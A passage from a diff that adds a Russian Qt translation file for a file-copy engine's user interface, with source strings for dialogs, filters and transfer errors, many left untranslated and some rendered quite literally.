+ <location filename="../../CopyEngineFactory.cpp" line="429"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="432"/>
+ <source>Automatic</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="433"/>
+ <source>Sequential</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="434"/>
+ <source>Parallel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="485"/>
+ <location filename="../../CopyEngineFactory.cpp" line="524"/>
+ <source>Options error</source>
+ <translation type="unfinished">Опции ошибке</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="485"/>
+ <source>Options engine is not loaded. Unable to access the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="524"/>
+ <source>Options engine is not loaded, can&apos;t access to the filters</source>
+ <translation type="unfinished">Параметры двигателя не загружается, не может получить доступ к фильтрам</translation>
+ </message>
+</context>
+<context>
+ <name>DiskSpace</name>
+ <message>
+ <location filename="../../DiskSpace.ui" line="14"/>
+ <source>Disk space</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="24"/>
+ <source>You need more space on this drive to finish this transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="49"/>
+ <source>Continue</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="56"/>
+ <source>Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.cpp" line="23"/>
+ <source>Drives %1 have %2 available but need %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileErrorDialog</name>
+ <message>
+ <location filename="../../FileErrorDialog.cpp" line="54"/>
+ <source>Error on folder</source>
+ <translation type="unfinished">Ошибка в папку</translation>
+ </message>
+ <message>
+ <location filename="../../FileErrorDialog.cpp" line="57"/>
+ <source>Folder name</source>
+ <translation type="unfinished">имя папки</translation>
+ </message>
+</context>
+<context>
+ <name>FileExistsDialog</name>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="131"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished">%1 - копия</translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="141"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished">%1 - копия (%2)</translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="226"/>
+ <source>Error</source>
+ <translation type="unfinished">ошибка</translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="226"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileIsSameDialog</name>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="105"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished">%1 - копия</translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="115"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished">%1 - копия (%2)</translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="182"/>
+ <source>Error</source>
+ <translation type="unfinished">ошибка</translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="182"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FilterRules</name>
+ <message>
+ <location filename="../../FilterRules.ui" line="33"/>
+ <source>Search:</source>
+ <translation>Поиск по сайту:</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="43"/>
+ <source>Search type:</source>
+ <translation>Тип поиска:</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="51"/>
+ <source>Raw text</source>
+ <translation>Сырой текст</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="56"/>
+ <source>Simplified regex</source>
+ <translation>упрощенный regex</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="61"/>
+ <source>Perl&apos;s regex</source>
+ <translation>Perl&apos;s regex</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="69"/>
+ <source>Apply on:</source>
+ <translation>Нанесите на:</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="77"/>
+ <source>File</source>
+ <translation>файл</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="82"/>
+ <source>Folder</source>
+ <translation>папка</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="87"/>
+ <source>File and folder</source>
+ <translation>Файлов и папок</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="125"/>
+ <source>The test string matches with the regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="102"/>
+ <source>Checking</source>
+ <translation>контроль</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="115"/>
+ <source>Test string:</source>
+ <translation>Испытание строки:</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="17"/>
+ <source>Filters dialog</source>
+ <translation>Фильтры диалогового</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="95"/>
+ <source>Whole string must match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="108"/>
+ <source>The regex is valid</source>
+ <translation>Регулярное действует</translation>
+ </message>
+</context>
+<context>
+ <name>Filters</name>
+ <message>
+ <location filename="../../Filters.ui" line="14"/>
+ <source>Filters</source>
+ <translation>Фильтры</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="30"/>
+ <source>Exclusion filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="93"/>
+ <source>Inclusion filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="105"/>
+ <source>None = Include all</source>
+ <translation>Ни = Включить все</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="92"/>
+ <location filename="../../Filters.cpp" line="130"/>
+ <source>Raw text</source>
+ <translation>Сырой текст</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="95"/>
+ <location filename="../../Filters.cpp" line="133"/>
+ <source>Simplified regex</source>
+ <translation>Упрощенная регулярных выражений</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="98"/>
+ <location filename="../../Filters.cpp" line="136"/>
+ <source>Perl&apos;s regex</source>
+ <translation>Perl&apos;s regex</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="106"/>
+ <location filename="../../Filters.cpp" line="144"/>
+ <source>Only on file</source>
+ <translation>Только на файл</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="109"/>
+ <location filename="../../Filters.cpp" line="147"/>
+ <source>Only on folder</source>
+ <translation>Только на папку</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="115"/>
+ <location filename="../../Filters.cpp" line="153"/>
+ <location filename="../../Filters.cpp" line="215"/>
+ <location filename="../../Filters.cpp" line="254"/>
+ <source>Full match</source>
+ <translation>Полный матч</translation>
+ </message>
+</context>
+<context>
+ <name>FolderExistsDialog</name>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="51"/>
+ <source>Folder already exists</source>
+ <translation type="unfinished">Папка уже существует</translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="116"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished">%1 - копия</translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="126"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished">%1 - копия (%2)</translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="187"/>
+ <source>Error</source>
+ <translation type="unfinished">ошибка</translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="187"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ListThread</name>
+ <message>
+ <location filename="../../ListThread.cpp" line="1447"/>
+ <location filename="../../ListThread.cpp" line="2369"/>
+ <source>Unable do to move or copy item into wrong forced mode: %1</source>
+ <translation>Невозможно сделать, чтобы скопировать или переместить элемент в неправильном форсированном режиме: %1</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1454"/>
+ <location filename="../../ListThread.cpp" line="2376"/>
+ <source>Unable to save the transfer list: %1</source>
+ <translation>Невозможно сохранить трансфер: %1</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1470"/>
+ <source>Problem reading file, or file-size is 0</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1477"/>
+ <source>Wrong header: &quot;%1&quot;</source>
+ <translation>Неправильный заголовок: &quot;%1&quot;</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1486"/>
+ <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
+ <translation>Трансфер в смешанном режиме, но этот экземпляр не в этом режиме</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1495"/>
+ <source>The transfer list is in copy mode, but this instance is not in this mode</source>
+ <translation>Передача списка в режиме копирования, но этот экземпляр не в этом режиме</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1501"/>
+ <source>The transfer list is in move mode, but this instance is not in this mode</source>
+ <translation>Трансфер в режим перемещения, но этот экземпляр не в этом режиме</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1557"/>
+ <source>Some errors have been found during the line parsing</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1565"/>
+ <source>Unable to open the transfer list: %1</source>
+ <translation>Не удается открыть трансфер: %1</translation>
+ </message>
+</context>
+<context>
+ <name>MkPath</name>
+ <message>
+ <location filename="../../MkPath.cpp" line="142"/>
+ <source>Unable to create the folder</source>
+ <translation>Невозможно создать папку</translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="155"/>
+ <source>The source folder don&apos;t exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="183"/>
+ <source>Unable to temporary rename the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="206"/>
+ <source>Unable to do the final real move the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="232"/>
+ <source>Unable to move the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="93"/>
+ <location filename="../../MkPath.cpp" line="275"/>
+ <source>Unable to remove</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ReadThread</name>
+ <message>
+ <location filename="../../ReadThread.cpp" line="55"/>
+ <source>Internal error, please report it!</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="184"/>
+ <source>Internal error reading the source file:block size out of range</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="192"/>
+ <location filename="../../ReadThread.cpp" line="408"/>
+ <source>Unable to read the source file: </source>
+ <translation>Невозможно прочитать исходный файл: </translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="233"/>
+ <location filename="../../ReadThread.cpp" line="456"/>
+ <source>File truncated during the read, possible data change</source>
+ <translation>Файл усечены во время чтения, возможность изменения данных</translation>
+ </message>
+</context>
+<context>
+ <name>RenamingRules</name>
+ <message>
+ <location filename="../../RenamingRules.ui" line="26"/>
+ <source>First renaming</source>
+ <translation>Первое переименование</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="32"/>
+ <source>%name% - copy</source>
+ <extracomment>%name% should not be translated</extracomment>
+ <translation>%name% - копия</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="39"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment> should not be translated</extracomment>
+ <translation>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Переменные: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; по оригинальному названию файла&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="49"/>
+ <source>Second renaming</source>
+ <translation>Второе переименование</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="55"/>
+ <source>%name% - copy (%number%)</source>
+ <extracomment>%name%, %number% should not be translated</extracomment>
+ <translation>%name% - копия (%number%)</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="62"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment>%name%, %number% should not be translated</extracomment>
+ <translation>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Переменные: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; по оригинальному названию файла&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; за дополнительный номер&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.cpp" line="39"/>
+ <location filename="../../RenamingRules.cpp" line="62"/>
+ <source>%1 - copy</source>
+ <translation>%1 - копия</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.cpp" line="43"/>
+ <location filename="../../RenamingRules.cpp" line="73"/>
+ <source>%1 - copy (%2)</source>
+ <translation>%1 - копия (%2)</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="14"/>
+ <source>Renaming rules</source>
+ <translation>Переименование правила</translation>
+ </message>
+</context>
+<context>
+ <name>ScanFileOrFolder</name>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="265"/>
+ <source>Blacklisted folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="327"/>
+ <location filename="../../ScanFileOrFolder.cpp" line="393"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished">%1 - копия</translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="337"/>
+ <location filename="../../ScanFileOrFolder.cpp" line="403"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished">%1 - копия (%2)</translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="441"/>
+ <source>This is not a folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="443"/>
+ <source>The folder does exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <source>The folder not exists</source>
+ <translation type="obsolete">Папка не существует</translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="445"/>
+ <source>The folder is not readable</source>
+ <translation type="unfinished">Папки не читается</translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="456"/>
+ <source>Problem with name encoding</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>TransferThread</name>
+ <message>
+ <location filename="../../TransferThread.cpp" line="235"/>
+ <location filename="../../TransferThread.cpp" line="663"/>
+ <location filename="../../TransferThread.cpp" line="735"/>
+ <location filename="../../TransferThread.cpp" line="1303"/>
+ <source>File not found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="336"/>
+ <location filename="../../TransferThread.cpp" line="353"/>
+ <source>Wrong modification date or unable to get it, you can disable time transfer to do it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="408"/>
+ <location filename="../../TransferThread.cpp" line="431"/>
+ <source>Internal error: Already opening</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="572"/>
+ <source>Drive %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="574"/>
+ <source>Unknown folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="578"/>
+ <source>root</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="631"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished">%1 - копия</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="641"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished">%1 - копия (%2)</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="701"/>
+ <location filename="../../TransferThread.cpp" line="816"/>
+ <source>The source file doesn&apos;t exist</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="741"/>
+ <location filename="../../TransferThread.cpp" line="828"/>
+ <source>Unable to do the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="777"/>
+ <source>The source doesn&apos;t exist</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="822"/>
+ <source>Another file exists at same place</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1124"/>
+ <source>The checksums do not match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1213"/>
+ <source>Internal error: The destination is not closed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1227"/>
+ <source>Internal error: The size transfered doesn&apos;t match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1238"/>
+ <source>Internal error: The buffer is not empty</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1303"/>
+ <location filename="../../TransferThread.cpp" line="1321"/>
+ <location filename="../../TransferThread.cpp" line="1336"/>
+ <source>Unable to change the date</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="219"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>WriteThread</name>
+ <message>
+ <location filename="../../WriteThread.cpp" line="80"/>
+ <source>Path resolution error (Empty path)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="268"/>
+ <source>Internal error, please report it!</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="671"/>
+ <source>Unable to read the source file: </source>
+ <translation>Невозможно прочитать исходный файл: </translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="696"/>
+ <source>File truncated during read, possible data change</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>copyEngineOptions</name>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="35"/>
+ <source>Transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="44"/>
+ <source>Move the whole folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="51"/>
+ <source>Transfer the file rights</source>
+ <translation type="unfinished">Передача файлов прав</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="61"/>
+ <source>Keep the file date</source>
+ <translation type="unfinished">Держите дату файла</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="74"/>
+ <source>Autostart the transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="81"/>
+ <location filename="../../copyEngineOptions.ui" line="101"/>
+ <source>Less performance if checked</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="104"/>
+ <source>Follow the strict order</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="130"/>
+ <source>Error and collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="136"/>
+ <source>When folder error</source>
+ <translation type="unfinished">Когда папка ошибка</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="146"/>
+ <source>When file error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="172"/>
+ <source>When file collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="232"/>
+ <source>When folder collision</source>
+ <translation type="unfinished">Когда папка столкновения</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="263"/>
+ <source>Check if destination folder exists</source>
+ <translation type="unfinished">Убедитесь, что папка существует</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="270"/>
+ <source>Renaming rules</source>
+ <translation type="unfinished">Переименование правила</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="290"/>
+ <source>Delete partially transferred files</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="303"/>
+ <source>Rename the original destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="334"/>
+ <source>Control</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="340"/>
+ <source>Checksum</source>
+ <translation type="unfinished">Контрольная</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="349"/>
+ <source>Only after error</source>
+ <translation type="unfinished">Только после того, как ошибка</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="356"/>
+ <source>Ignore if impossible</source>
+ <translation type="unfinished">Игнорировать, если невозможно</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="373"/>
+ <source>Verify checksums</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="405"/>
+ <source>Performance</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="411"/>
+ <source>Parallel buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="418"/>
+ <location filename="../../copyEngineOptions.ui" line="431"/>
+ <location filename="../../copyEngineOptions.ui" line="444"/>
+ <location filename="../../copyEngineOptions.ui" line="481"/>
+ <location filename="../../copyEngineOptions.ui" line="550"/>
+ <source>KB</source>
+ <translation type="unfinished">KB</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="460"/>
+ <source>Block size</source>
+ <translation type="unfinished">размер блока</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="467"/>
+ <source>Sequential buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="474"/>
+ <source>Enable OS buffer</source>
+ <translation type="unfinished">Включить OS буфер</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="497"/>
+ <source>OS buffer only if smaller than</source>
+ <translation type="unfinished">ОС буфер, только если меньше</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="504"/>
+ <source>Transfer algorithm</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="543"/>
+ <source>Parallelize if smaller than</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="573"/>
+ <source>Inode threads</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="580"/>
+ <location filename="../../copyEngineOptions.ui" line="590"/>
+ <source>More cpu, but better organisation on the disk</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="593"/>
+ <source>Order the list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="609"/>
+ <source>Misc</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="615"/>
+ <source>Check the disk space</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="625"/>
+ <source>Use this folder when destination is not set</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="637"/>
+ <source>Browse</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="659"/>
+ <source>Filters</source>
+ <translation type="unfinished">Фильтры</translation>
+ </message>
+</context>
+<context>
+ <name>fileErrorDialog</name>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="14"/>
+ <source>Error with file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="20"/>
+ <source>Error</source>
+ <translation>ошибка</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="59"/>
+ <source>Size</source>
+ <translation>размер</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="76"/>
+ <source>Modified</source>
+ <translation>модифицированный</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="93"/>
+ <source>File name</source>
+ <translation>имя файла</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="110"/>
+ <source>Destination</source>
+ <translation type="unfinished">назначение</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="127"/>
+ <source>Folder</source>
+ <translation type="unfinished">папка</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="173"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="193"/>
+ <source>Try in with elevated privileges</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="200"/>
+ <source>Put to bottom</source>
+ <translation>Положить в нижней</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="207"/>
+ <source>Retry</source>
+ <translation>Повторить</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="214"/>
+ <source>&amp;Skip</source>
+ <translation>пропускать</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="221"/>
+ <source>&amp;Cancel</source>
+ <translation>отменить</translation>
+ </message>
+</context>
+<context>
+ <name>fileExistsDialog</name>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="14"/>
+ <source>The file exists</source>
+ <translation>Файл существует</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="34"/>
+ <source>Source</source>
+ <translation>источник</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="50"/>
+ <source>Destination</source>
+ <translation>назначение</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="82"/>
+ <location filename="../../fileExistsDialog.ui" line="170"/>
+ <source>Size</source>
+ <translation>размер</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="99"/>
+ <location filename="../../fileExistsDialog.ui" line="187"/>
+ <source>Modified</source>
+ <translation>модифицированный</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="116"/>
+ <location filename="../../fileExistsDialog.ui" line="204"/>
+ <source>File name</source>
+ <translation>имя файла</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="133"/>
+ <location filename="../../fileExistsDialog.ui" line="221"/>
+ <source>Folder</source>
+ <translation type="unfinished">папка</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="277"/>
+ <source>Suggest new &amp;name</source>
+ <translation>Предложить новое имя</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="288"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="346"/>
+ <location filename="../../fileExistsDialog.ui" line="349"/>
+ <source>Overwrite if modification date differs</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="308"/>
+ <source>&amp;Rename</source>
+ <translation>переименовать</translation>
+ </message>
